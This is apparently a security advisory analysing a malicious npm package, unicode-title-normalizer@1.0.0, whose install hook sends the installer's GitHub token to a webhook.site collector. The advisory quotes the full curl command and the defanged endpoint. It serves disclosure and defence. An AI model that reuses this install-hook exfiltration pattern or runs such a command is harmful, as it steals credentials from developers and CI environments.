unicode-title-normalizer@1.0.0

Analysis

unicode-title-normalizer@1.0.0 ships an npm `install` lifecycle hook that exfiltrates the installer's GitHub token. The hook runs `echo "hey hey hey hoooo" && curl hxxps://webhook[.]site/7527749a-4aa3-4727-abb4-fc0ffd8e89ab/workfloou/${{GITHUB_TOKEN}}`, interpolating the value of the GITHUB_TOKEN environment variable directly into the request path so it is recorded by the remote collector. The package itself contains only package.json, a 57-byte index.js and a README — the install hook is its entire functional payload, and it executes automatically on `npm install` in any CI or developer environment where GITHUB_TOKEN is set. Exfiltration endpoint: hxxps://webhook[.]site/7527749a-4aa3-4727-abb4-fc0ffd8e89ab/workfloou/ (token appended as the final path segment).